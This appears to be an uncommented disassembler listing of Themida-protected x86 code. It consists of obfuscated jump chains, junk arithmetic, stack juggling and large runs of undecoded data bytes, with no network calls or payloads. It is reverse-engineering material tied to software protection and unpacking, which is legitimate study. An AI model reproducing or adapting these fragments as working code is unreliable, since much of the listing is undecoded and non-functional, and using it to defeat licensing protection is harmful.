; ---------------------------------------------------------------------------


loc_634CA1:				; CODE XREF: Themida_:0062A7E0j
		pop	ebx
		sub	eax, 578D0115h
		neg	eax
		xor	eax, 0AE8DD5B3h
		push	esi
		mov	esi, 4BF2850h
		jmp	loc_6322D4
; ---------------------------------------------------------------------------
		db 66h,	68h, 72h
		dd 1C89660Dh, 0AEB65224h, 148BF788h, 4C48124h, 30000000h
		dd 1C8B66F8h, 4C666824h, 14890000h, 5EE66824h, 0E9540000h
		dd 0FFFFC6F3h
; ---------------------------------------------------------------------------


loc_634CE8:				; CODE XREF: Themida_:0062F250j
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_62A97A
; ---------------------------------------------------------------------------
		db 0ADh
		dd 0EC83D831h, 24148904h, 0B202E955h, 0F75BFFFFh, 0C4F381D3h
		dd 50253018h, 6117C8B8h, 0E1A3E940h, 74FFFFFFh,	0ADE90424h
		db 40h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_634D2B:				; CODE XREF: Themida_:0062A708j
		mov	ebp, 3566CEh
		jmp	loc_62CBFD
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		dd 87000000h, 295C242Ch, 0E99C2404h, 0FFFF3D75h, 68241489h
		dd 21F2h, 0B5240C89h, 0D48AE984h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_62BA08
; ---------------------------------------------------------------------------


loc_634D75:				; CODE XREF: Themida_:00630F4Dj
		add	eax, edi
		push	ebx
		mov	ebx, 0
		push	ebp
		mov	ebp, 70334D3Bh
		sub	ebp, 0F5361F0h
		shl	ebp, 8
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 0BD2661h
		xor	ebp, ecx
		jmp	loc_62D71A
; ---------------------------------------------------------------------------
		dw 555Ch
		dd 0A251A3BDh, 0F2CD811Ah, 0E9786046h, 0FFFF94B3h
; ---------------------------------------------------------------------------


loc_634DB0:				; CODE XREF: Themida_:0062F1DFj
		mov	ebx, 596D75EBh
		not	ebx
		jmp	loc_62B769
; ---------------------------------------------------------------------------


loc_634DBC:				; CODE XREF: Themida_:0063037Fj
		mov	eax, [esp]
		jmp	loc_629719
; ---------------------------------------------------------------------------
		dd 53516659h, 0E3C038B3h, 8C73E906h, 0B068FFFFh, 8900007Fh
		dd 19E92434h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_634DDF:				; CODE XREF: Themida_:00634B63j
		pop	ax
		pop	eax
		jmp	loc_62E62D
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF3877h, 54555924h, 0FFFDE5E9h, 0C32959FFh, 8124048Bh
		dd 4C4h, 81C30100h, 0F462CC3h, 0E0E9530Eh, 1FFFF83h, 24048BC1h
		dd 0C104C483h, 0AEE906E9h, 5AFFFFBAh, 2C8B5455h, 715CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_634E2A:				; CODE XREF: Themida_:0062D484j
		add	ebp, 4
		push	eax
		mov	eax, 64B839B1h
		push	ebp
		push	ebx
		push	56C05205h
		pop	ebx
		jmp	loc_63101B
; ---------------------------------------------------------------------------


loc_634E43:				; CODE XREF: Themida_:006346D2j
		mov	esi, ecx
		jmp	loc_6316F7
; ---------------------------------------------------------------------------


loc_634E4A:				; CODE XREF: Themida_:0062BB85j
		add	ebp, 0BDCEF4DDh
		jmp	loc_630DAE
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 6Eh
		dd 0C15E2E13h, 0D1F706E1h, 1DC98141h, 0E9183C02h, 2FCh
		dd 0ACBF5753h, 0BB589F00h, 0CC0B6794h, 3C8BFB01h, 4C48124h
		dd 0E9000000h, 0FFFFE767h, 4DC38158h, 5F78444Eh, 224AEB81h
		dd 0C3012878h, 0FFFD71E9h, 71F681FFh, 1558B35h,	0C7815EF7h
		dd 44544D05h, 1DADF781h, 8CE97333h, 0FFFF9Ah, 0E9C32CF8h
		dd 0FFFF42E1h
; ---------------------------------------------------------------------------


loc_634EC0:				; CODE XREF: Themida_:0062DAD3j
		push	0Ah
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		xchg	edi, [esp]
		pop	esp
		push	esi
		jmp	loc_62B38A
; ---------------------------------------------------------------------------
		dd 4244C01h, 0FFA2A4E9h, 240489FFh, 0FFB8D5E9h,	240489FFh
		dd 4EC81h, 13E90000h, 81FFFFD3h, 0F39798C1h, 0A6E1E9FCh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_634F1A:				; CODE XREF: Themida_:0062D11Ej
		shl	ebx, 1
		neg	ebx
		add	ebx, 1577EB85h
		jmp	loc_62CE1A
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 64h
		dd 29BD2FB5h, 1C8B5BD8h, 4C48124h, 50000000h, 0FCF68h
		dd 24248900h, 0FFD61DE9h, 0C8B66FFh, 4EC8324h, 0FFD516E9h
		dd 4C083FFh, 0FFD31FE9h, 0B7535BFFh, 6E7C017h, 0E9D0C780h
		dd 0FFFF3F3Eh, 8904EC83h, 0F4E9240Ch
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_634F77:				; CODE XREF: Themida_:0062DE4Dj
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		mov	dx, [esp]
		push	5439h
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_62B64E
; ---------------------------------------------------------------------------
		dw 22E9h
		dd 66FFFF3Bh
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 0ABF023Fh
		jmp	loc_634765
; ---------------------------------------------------------------------------


loc_634FAD:				; CODE XREF: Themida_:006334E4j
		push	192F4B25h
		pop	edx
		push	ebx
		mov	ebx, 53540F2Bh
		jmp	loc_629BF4
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 20A9BD24h, 0F5814AAFh, 61583055h, 50E58145h,	81125726h
		dd 0A80FF4C5h, 0EEF5810Bh, 29042E34h, 5B9CE9E8h, 0C381FFFFh
		dd 4, 0E9241C87h, 0FFFFEA0Dh
; ---------------------------------------------------------------------------


loc_634FF4:				; CODE XREF: Themida_:0062D52Fj
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_62C52F
; ---------------------------------------------------------------------------
		db 53h
		dd 0C381E389h, 4, 0E904EB83h, 0FFFFDA71h
; ---------------------------------------------------------------------------


loc_635020:				; CODE XREF: Themida_:00630641j
		push	cx
		pushf
		jmp	loc_631B41
; ---------------------------------------------------------------------------


loc_635028:				; CODE XREF: Themida_:00629B5Ej
		add	esp, 2
		mov	bh, ch
		jmp	loc_62C0C7
; ---------------------------------------------------------------------------
		db 89h,	0FAh, 89h
		dd 0E95F5AD1h, 0FFFFF832h
; ---------------------------------------------------------------------------


loc_635040:				; CODE XREF: Themida_:0063107Ej
		add	ecx, 6B912F0Dh
		add	ecx, esi
		sub	ecx, 6B912F0Dh
		mov	esi, [esp]
		add	esp, 4
		push	2925h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		push	1FDCh
		mov	[esp], ebp
		mov	ebp, 73E67399h
		xor	ebp, 2A130501h
		add	ebp, 3D2D6281h
		push	76BAh
		mov	[esp], ecx
		jmp	loc_62A3E1
; ---------------------------------------------------------------------------
		db 5Ah
		dd 34FFC721h, 0A4E95824h, 0F7FFFF97h, 0EBEB81D3h, 81F7EFEFh
		dd 5404246Ch, 1541C01h,	5204245Ch, 1C0154BAh, 24448154h
		dd 6257FC08h, 24540101h, 246C8108h, 6257FC08h, 24148B01h
		dd 4C481h, 1C8B0000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_633A73
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 5311E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6350EA:				; CODE XREF: Themida_:00632A15j
		add	dword ptr [esp], 4
		pop	edi
		push	4F81h
		jmp	loc_62C27A
; ---------------------------------------------------------------------------
		db 35h,	0EBh, 1Ah
		dd 0C6891A25h, 22BB5358h, 81203A35h, 0E61B60EBh, 5BF3815Fh
		dd 0E9598378h, 6Eh, 139960BBh, 458FE9F7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_635122:				; CODE XREF: Themida_:0062E4DFj
		pop	edx
		add	eax, esi
		jmp	loc_62AC6E
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0E2895204h, 4C281h, 0EA810000h, 4, 0FF6231E9h, 0EC181FFh
		dd 5051746Ah, 194F6853h, 815B3AA0h, 466D33E3h, 2E3C13Ch
		dd 1139F381h, 0D889EBB7h, 0E9C1295Bh, 0FFFFB8AEh, 1A8DE981h
		dd 0C1813E4Dh, 0C1CDF3F4h, 16E9CA01h, 83FFFFCAh, 48F04C4h
		dd 79BFE924h, 0E3C1FFFFh, 0F9AEE903h, 3804FFFFh, 0EFE95B66h
		dd 33FFFFD2h, 14312414h, 24143324h, 0FF24248Bh,	68592434h
		dd 2CA3h, 89241489h, 58BB53E2h,	0C1428E38h, 0EBC105EBh
		dd 4EBC107h, 0BD76C381h, 0DA01FFFFh, 0D565E95Bh, 0EAE9FFFFh
		dd 89FFFF38h, 0E956242Ch, 0FFFF694Ch, 0DAE9028Fh, 1FFFF38h
		dd 9FE95AD1h, 68FFFF48h, 1D29h,	0BE243489h, 4759AEh, 0E95EF201h
		dd 0FFFFE082h, 405h, 4C08300h, 0E9240487h, 0FFFF57D2h
; ---------------------------------------------------------------------------


loc_635210:				; CODE XREF: Themida_:0062A955j
		rep movsd
		add	esp, [edx+38h]
		sub	esp, 4
		mov	[esp], ecx
		push	3DD8h
		jmp	loc_62DEBD
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0B10D94B9h, 0BF18102h, 0F7786F58h, 0FCE955D9h, 66FFFF3Eh
		dd 5D2B1705h, 241C8B66h, 0E9E68956h, 0FFFF9CB8h, 0C8F4E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_635252:				; CODE XREF: Themida_:00633911j
		pop	edx
		xor	edx, 162A1686h
		jmp	loc_62BC4E
; ---------------------------------------------------------------------------
		dw 4CB9h
		dd 53645D0Ch, 0FFDE2BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_635269:				; CODE XREF: Themida_:0062B77Bj
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_62C4F1
; ---------------------------------------------------------------------------
		dw 0FF4Ch
		dd 12h,	5B420000h, 6AEA0069h, 0EB940069h, 96A97C90h, 0A59CF889h
		dd 203FFFFh, 20000h, 10000h, 0
		dd 96A90000h, 0F889h, 4	dup(0)
		dd 7DC70000h, 80470064h, 6E230063h, 93900064h, 0D70F0064h
		dd 1AD10063h, 0A5D60064h, 0F6DF0063h, 9CB60063h, 3F250064h
		dd 0A44B0064h, 656C0064h, 1780064h, 106D0064h, 66360064h
		dd 25F50063h, 243C0064h, 872A0064h, 8AAD0063h, 0A1DF0064h
		dd 3BEF0064h, 0F7570064h, 1CAA0063h, 8EC10064h,	9B0E0064h
		dd 2DD00064h, 10190064h, 56520064h, 49E50063h, 6F250064h
		dd 60370063h, 0B38C0063h, 9E720063h, 709D0063h,	3EFF0064h
		dd 57920064h, 0A8580063h, 9AEC0064h, 49CE0063h,	47BE0064h
		dd 644C0064h, 36750064h, 50B80064h, 4FC70064h, 0FFA70064h
		dd 80870063h, 0A3000064h, 29B40063h, 5BE30064h,	0EA3A0063h
		dd 67A20063h, 5BB80064h, 35CE0064h, 0A6550064h,	1A9A0064h
		dd 974A0064h, 7A330063h, 0EE20064h, 3FDB0064h, 2E6F0064h
		dd 79000064h, 5BE30064h, 0A0AC0064h, 0FDA90063h, 0B95A0063h
		dd 52260063h, 0CB150064h, 930D0063h, 8D590064h,	88F60064h
		dd 33500064h, 2E1F0064h, 0EE1E0064h, 7E750063h,	596C0063h
		dd 0A72B0064h, 2AFF0064h, 0D2900064h, 88DD0063h, 0AA810063h
		dd 0AAD80064h, 57A10063h, 0F5DB0063h, 13D40063h, 53B40064h
		dd 95B30064h, 0EDDA0064h, 0A0650063h, 0B82D0064h, 0B4B70063h
		dd 0A5E70063h, 71AA0063h, 961C0064h, 955D0063h,	0D41E0063h
		dd 35E10063h, 75D70064h, 34800064h, 92A10064h, 3E040064h
		dd 32290064h, 0DB130064h, 7A870063h, 58830063h,	68280063h
		dd 72950064h, 0B33F0063h, 0ECE10063h, 0D8FA0063h, 0A38B0063h
		dd 2CBF0063h, 5DDC0064h, 8D680064h, 9A170063h, 7C5A0063h
		dd 74850064h, 24680063h, 911D0064h, 8A890063h, 39DA0063h
		dd 4A700064h, 0A5380064h, 4DF70063h, 0F9960064h, 2F730063h
		dd 2D8E0064h, 68E20064h, 86EF0064h, 0A4410064h,	0E2FE0063h
		dd 842C0063h, 46FE0064h, 25EC0064h, 5CA60064h, 79D10063h
		dd 70E20064h, 0BD650064h, 39290063h, 28E60064h,	2CD80064h
		dd 9FA80064h, 99E90064h, 0D42C0063h, 0E520063h,	0A7EE0064h
		dd 64E00063h, 59350064h, 956C0063h, 35390063h, 30190064h
		dd 59470064h, 817A0064h, 80F40063h, 8FDE0063h, 2A120063h
		dd 98DA0064h, 0CF9C0063h, 9CB90063h, 1F0A0063h,	320D0064h
		dd 0BABD0064h, 87780063h, 674E0063h, 8ED40064h,	56300064h
		dd 0E9E40064h, 3B840063h
		db 64h,	0
; ---------------------------------------------------------------------------


loc_63555E:				; CODE XREF: Themida_:00680F6Fj
					; Themida_:0068665Bj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 7D9BEBDh
		mov	eax, edi
		add	edi, 7D9BBD5h
		cmp	eax, [edi+2Ch]
		jnz	short loc_63557C
		jmp	short loc_63558F
; ---------------------------------------------------------------------------


loc_63557C:				; CODE XREF: Themida_:00635578j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_63558B
; ---------------------------------------------------------------------------


loc_635586:				; CODE XREF: Themida_:0063558Dj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_63558B:				; CODE XREF: Themida_:00635584j
		or	ecx, ecx
		jnz	short loc_635586


loc_63558F:				; CODE XREF: Themida_:0063557Aj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_63559C:				; CODE XREF: Themida_:006355A3j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_63559C


loc_6355A5:				; CODE XREF: Themida_:00635B5Fj
					; Themida_:00637146j ...
		lodsb
		push	edx
		mov	dl, 4Eh
		jmp	loc_646767
; ---------------------------------------------------------------------------


loc_6355AE:				; CODE XREF: Themida_:00637BE7j
		add	ebx, 5AFE592Ah
		sub	ebx, 5FE34D6Fh
		jmp	loc_63F5FE
; ---------------------------------------------------------------------------


loc_6355BF:				; CODE XREF: Themida_:006384F2j
		mov	edx, 4B501C24h
		sub	ebx, edx
		pop	edx
		push	edx
		mov	edx, 2EB673BAh
		neg	edx
		sub	edx, 36C276ABh
		neg	edx
		xor	edx, 58751CF5h
		add	edx, 9DB50B8h
		jmp	loc_643A53
; ---------------------------------------------------------------------------


loc_6355E8:				; CODE XREF: Themida_:0064A4CFj
		sub	ecx, edi
		jmp	loc_6413C9
; ---------------------------------------------------------------------------
		db 68h
		dd 18DEh, 54242C89h, 0E9242C8Bh, 114A9h, 0E8CDE950h, 0D5F60000h
		dd 12282E9h, 40500h, 42D0000h, 0E9000000h, 4C91h, 77FCB951h
		dd 42E935A1h, 33000041h, 2C31242Ch, 242C3324h, 6624248Bh
		dd 6866E9F7h, 89663306h, 50662414h, 0FF5FE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_635646:				; CODE XREF: Themida_:0063626Dj
		add	esi, 5F8E34DBh
		push	edx
		jmp	loc_6465D1
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 55FBE924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_63565A:				; CODE XREF: Themida_:006481E2j
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		xchg	edi, [esp]
		not	edi
		jmp	loc_6499BB
; ---------------------------------------------------------------------------


loc_63566E:				; CODE XREF: Themida_:00645F05j
		add	esp, 4
		push	687Ah
		mov	[esp], ecx
		push	1
		pop	ecx
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		push	esp
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_64984D
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 80000000h, 0EC81B3C3h, 4, 52240C89h,	0C68037B6h, 26EE80CDh
		dd 0E9E7CE80h, 7462h, 5108EDC1h, 3514B9h, 111BE90Ch, 15B0000h
		dd 240C8BCDh, 81E18951h, 4C1h, 4F2AE900h
		db 1, 0
; ---------------------------------------------------------------------------


loc_6356DE:				; CODE XREF: Themida_:0063D4BEj
		xor	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		shl	ebx, 3
		jmp	loc_63EB32
; ---------------------------------------------------------------------------


loc_6356F1:				; CODE XREF: Themida_:00647B84j
		add	esp, 4
		sub	edi, 7826024Ah
		sub	edi, 520A6258h
		sub	edi, ebx
		add	edi, 520A6258h
		add	edi, 7826024Ah
		pop	ebx
		mov	eax, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, 5FAB2ADDh
		dec	ebp
		jmp	loc_637AE9
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 0FFFFFFFFh, 0F381DBF7h, 8503D8B9h, 465BDE31h, 2414F756h
		dd 4EEC15Eh, 285DEE81h,	0F521AC86h, 0E924348Bh,	12DA6h
		dd 0E3C2805Bh, 0F5B05051h, 9912E9h, 8BC13100h, 0C4832404h
		dd 0A687E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63577A:				; CODE XREF: Themida_:0063E257j
		mov	[esp], ebp
		mov	ebp, 2FC60C88h
		shr	ebp, 1
		add	ebp, 0E81CF9BDh
		mov	ecx, ebp
		pop	ebp
		jmp	loc_63BBC7
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 59669D1Ch, 9C241CD2h, 0FFFE04E9h, 0C8B66FFh,	9AE6824h
		dd 1C890000h, 1214E924h, 815B0001h, 4458B5C3h, 1C76E91Ah
		dd 4870000h, 24248B24h,	57241C89h, 0FC075EBFh, 8EFC126h
		dd 8106EFC1h, 0BB1795EFh, 92BA5213h, 2145E407h,	0E9555AD7h
		dd 1EAAh, 4317E95Ah, 0F5810001h, 88DA8CB3h, 0DFEB81h, 0EB011A0Eh
		dd 11191E9h, 0FDED8100h, 17FFE7Dh, 0C335DE9h, 2C62E924h
		dd 0F0310000h, 58C3015Eh, 3304C383h, 1C31241Ch,	241C3324h
		dd 0E924248Bh, 24DEh, 2C281h, 0FF520000h, 5A042474h, 13637E9h
		db 0
; ---------------------------------------------------------------------------


loc_63583D:				; CODE XREF: Themida_:00643FB4j
		dec	ebp
		shl	ebp, 2
		or	ebp, 7B6D38C2h
		add	ebp, 19D95E93h
		add	ebp, 6965A68Dh
		mov	ebx, ebp
		pop	ebp
		sub	edi, ebx
		jmp	loc_649D71
; ---------------------------------------------------------------------------
		db 31h,	2Ch, 24h
		dd 5C242C33h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_638892
; ---------------------------------------------------------------------------


loc_635872:				; CODE XREF: Themida_:0063A135j
		sub	ebp, edi
		jmp	loc_63BCF0
; ---------------------------------------------------------------------------


loc_635879:				; CODE XREF: Themida_:006365D0j
		mov	eax, 0E6B5E60h
		jmp	loc_636E3D
; ---------------------------------------------------------------------------
		db 68h
		dd 23E0h, 68240C89h, 17EFh, 81242489h, 42404h, 34FF0000h
		dd 2B685924h, 8900000Eh, 0E389241Ch, 12A55E9h, 0E2895200h
		dd 4C281h, 0C2830000h, 74FF5204h, 0E95A0424h, 2485h, 8106EFC1h
		dd 5560B6EFh, 73CDE926h, 0C6810000h, 4,	5C243487h, 8904EC83h
		dd 51522404h, 14688E9h,	2C68100h, 33000000h, 34312434h
		dd 24343324h, 5FCEE9h, 4BD5500h, 1000000h, 0E904246Ch
		dd 6E5Fh, 5EEC781h, 0E78103B8h,	5C7A35F5h, 20AFEF81h, 0F889045Ah
		dd 0FFC6015Fh, 81582434h, 4C4h,	24348700h, 6090E9h, 3C77FF00h
		dd 592E9h, 0B8505B00h, 4, 8758C629h, 12E92434h
		db 12h,	1, 0
; ---------------------------------------------------------------------------


loc_63594F:				; CODE XREF: Themida_:00649D6Cj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_63D8CA
; ---------------------------------------------------------------------------
		db 5Ch
		dd 4C381h, 0E9560000h, 896Fh, 0C381DBF7h, 48A67298h, 0E907E3C1h
		dd 0D312h, 925C581h, 0D5294577h, 925ED81h, 0ED814577h
		dd 7C0B1BEDh, 7795E9h, 242C8B00h, 5E08950h, 4, 405h, 24048700h
		dd 119FCE9h, 0EB814B00h, 56E142C1h, 1382FE9h
		db 0
; ---------------------------------------------------------------------------


loc_6359B9:				; CODE XREF: Themida_:00637AA1j
		push	ebp
		mov	ebp, 6592781Fh
		shl	ebp, 7
		jmp	loc_635BBB
; ---------------------------------------------------------------------------
		db 56h
		dd 115A6E9h, 7DE95800h,	8B00014Eh, 0F662424h, 9C2404B3h
		dd 0FFFBC4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6359E1:				; CODE XREF: Themida_:0063DD6Bj
		push	esi
		mov	esi, esp
		jmp	loc_6446F3
; ---------------------------------------------------------------------------
		db 31h,	3Ch, 24h
		dd 120A5E9h, 9A4BD00h, 0F74D6607h, 5ECD81DDh, 571AA320h
		dd 0A54101BFh, 5FFD0928h, 6CE3C581h, 0EE2181E0h, 0C068525Dh
		dd 0E9F29FFFh, 5792h, 0FF42FA05h, 77C16827h, 14890000h
		dd 1021BA24h, 3A68506Eh, 0E9000039h, 0E1FFh
; ---------------------------------------------------------------------------


loc_635A38:				; CODE XREF: Themida_:00636DAFj
		add	ebp, ecx
		pop	ecx
		jmp	loc_64443F
; ---------------------------------------------------------------------------
		dd 4246C81h, 5479783Dh,	4247401h, 141EAE9h, 4290B800h
		dd 22D62A0h, 5206470h, 3CA4677Eh, 0E0409505h, 58C589F0h
		dd 0F706E5C1h, 44C581DDh, 1F01EA8h, 55505DEAh, 4BDh, 5DE88900h
		dd 48BC201h, 4C48124h, 87000000h, 815C2414h, 4ECh, 240C8900h
		dd 0CED9E9h, 241C8900h,	464166BBh, 15AFE926h, 4BB0000h
		dd 0E9000000h, 6234h
; ---------------------------------------------------------------------------


loc_635AB4:				; CODE XREF: Themida_:00641062j
		push	eax
		mov	eax, 23927EB7h
		or	eax, 776022D2h
		inc	eax
		not	eax
		jmp	loc_644957
; ---------------------------------------------------------------------------
		db 8Fh
		dd 88E92404h
		db 5Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_635ACF:				; CODE XREF: Themida_:0063908Cj
		mov	ecx, 38677110h
		sub	ecx, 928351B6h
		sub	ebx, ecx
		jmp	loc_6436ED
; ---------------------------------------------------------------------------


loc_635AE1:				; CODE XREF: Themida_:006380CAj
		push	0C46h
		jmp	loc_642237
; ---------------------------------------------------------------------------
		db 83h
		dd 55E904C3h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_635AF3:				; CODE XREF: Themida_:0063C514j
		xchg	eax, [esp]
		mov	esp, [esp]
		push	ecx
		push	24h
		push	dword ptr [esp]
		pop	ecx
		push	3883h
		mov	[esp], esi
		jmp	loc_6397C6
; ---------------------------------------------------------------------------
		dd 0CF657D68h, 122D580Dh, 2984F060h, 24048BC1h,	104C483h
		dd 240C8BCBh, 4C481h, 8F660000h, 0FA6FE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_635B36:				; CODE XREF: Themida_:006403C7j
		add	esp, 4
		add	esp, 4


loc_635B3F:				; CODE XREF: Themida_:00635C34j
		push	105Fh
		mov	[esp], ebx
		add	dword ptr [esp], 0DDE3148h
		jmp	loc_63D5FF
; ---------------------------------------------------------------------------


loc_635B53:				; CODE XREF: Themida_:006424B0j
		pop	esp
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_6355A5
; ---------------------------------------------------------------------------


loc_635B64:				; CODE XREF: Themida_:006488CBj
		mov	edx, 587D3D50h
		neg	edx
		sub	edx, 2EA828AAh
		inc	edx
		sub	edx, 3EF96F59h
		inc	edx
		xor	edx, 762504D6h
		sub	ebx, 6ECD61E3h
		sub	ebx, edx
		add	ebx, 6ECD61E3h
		pop	edx
		and	ebx, 58296CC6h
		dec	ebx
		jmp	loc_63E405
; ---------------------------------------------------------------------------


loc_635B9A:				; CODE XREF: Themida_:0063A2F6j
		mov	eax, 209A60C3h
		mov	ecx, 51780FAEh
		xor	ecx, eax
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_63FD2E
; ---------------------------------------------------------------------------
		db 0FEh, 0C4h, 80h
		dd 0F0E982ECh
		db 40h,	1, 0
; ---------------------------------------------------------------------------


loc_635BBB:				; CODE XREF: Themida_:006359C2j
		shr	ebp, 5
		dec	ebp
		inc	ebp
		xor	ebp, 6698DC6Fh
		jmp	loc_648D93
; ---------------------------------------------------------------------------
		db 53h
		dd 0C381E389h, 4, 8704EB83h, 895C241Ch,	30E9241Ch, 6600008Fh
		dd 0E924048Bh, 931Ch, 0BE56E589h, 4, 7FD8ED81h,	0F501214Fh
		dd 7FD8C581h, 815E214Fh, 4EDh, 242C8700h, 2414895Ch, 8904EC83h
		dd 0FC68242Ch, 89000013h, 0BD552414h, 100D59A7h, 0F99F581h
		dd 0EA892136h, 1F48E95Dh
		db 1, 0
; ---------------------------------------------------------------------------


loc_635C32:				; CODE XREF: Themida_:00643E73j
		or	eax, eax
		jz	loc_635B3F
		push	dword ptr [edi+1Ch]
		push	1802h
		mov	[esp], ebx
		push	ecx
		jmp	loc_640CB1
; ---------------------------------------------------------------------------
		db 33h
		dd 1C31241Ch, 241C3324h, 0E1F7665Ch, 0D43E9h, 24048300h
		dd 32E3E904h, 0EB810000h, 0B86B86CAh, 815BDE89h, 883828EEh
		dd 9DE95008h, 590000FCh, 8704C483h, 895C242Ch, 0BBE9241Ch
		dd 8100014Ch, 0BF830AC7h, 5FFA01B1h, 4C281h, 5FE90000h
		dd 10000ECh, 89A9E9F8h,	8B660000h, 8957240Ch, 4C781E7h
		dd 81000000h, 4EFh, 243C8700h, 2414895Ch, 13AE6E9h
		db 0
; ---------------------------------------------------------------------------


loc_635CC5:				; CODE XREF: Themida_:00646A80j
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_63DCB6
; ---------------------------------------------------------------------------


loc_635CE7:				; CODE XREF: Themida_:00642CBAj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_64056E
; ---------------------------------------------------------------------------


loc_635CF9:				; CODE XREF: Themida_:00638F08j
		xchg	eax, [esp]
		mov	esp, [esp]
		push	esi
		push	eax
		push	3DC76858h
		push	dword ptr [esp]
		pop	eax
		jmp	loc_63A6A8
; ---------------------------------------------------------------------------


loc_635D0F:				; CODE XREF: Themida_:00649EF3j
		mov	edi, ebp
		pop	ebp
		jmp	loc_648FBD
; ---------------------------------------------------------------------------
		db 81h
		dd 66042444h, 0FF22694Eh, 0E95E2434h, 0DEF6h
; ---------------------------------------------------------------------------


loc_635D28:				; CODE XREF: Themida_:0064127Dj
		mov	edx, [esp]
		jmp	loc_63A48C
; ---------------------------------------------------------------------------


loc_635D30:				; CODE XREF: Themida_:0063BB3Cj
		push	edi
		jmp	loc_6375AF
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 33BA2D1Dh, 0EFC1D7F7h, 9EEF8103h, 81433245h,	54799CEFh
		dd 68685627h, 5E3B1173h, 347E681h, 0F74E7EB8h, 0B8504EDEh
		dd 31B940E7h, 5135D8F7h, 0D18F77Ch, 9CD57ECh, 0C17CA335h
		dd 58AB3544h, 0BF2D1BB8h, 19D8D55h, 0F72958C6h,	802CE9h
		dd 0FFC78300h, 0DD55B951h, 0D9E94F1Ch
		db 93h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_635D97:				; CODE XREF: Themida_:006436CCj
		mov	[esp], ecx
		push	ebx
		mov	ebx, 5C120A65h
		jmp	loc_639085
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 4C481h, 0D0E90000h, 83000148h, 0C78104C4h, 4, 8B243C87h
		dd 0B9512424h, 36144EBBh, 4244C01h, 6399E959h, 0BD550000h
		dd 21577C13h, 9AA9B850h, 0FEE93C17h
		db 0ADh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_635DE3:				; CODE XREF: Themida_:00639F57j
		push	edi
		pop	esi
		jmp	loc_648B4F
; ---------------------------------------------------------------------------
		dw 3489h
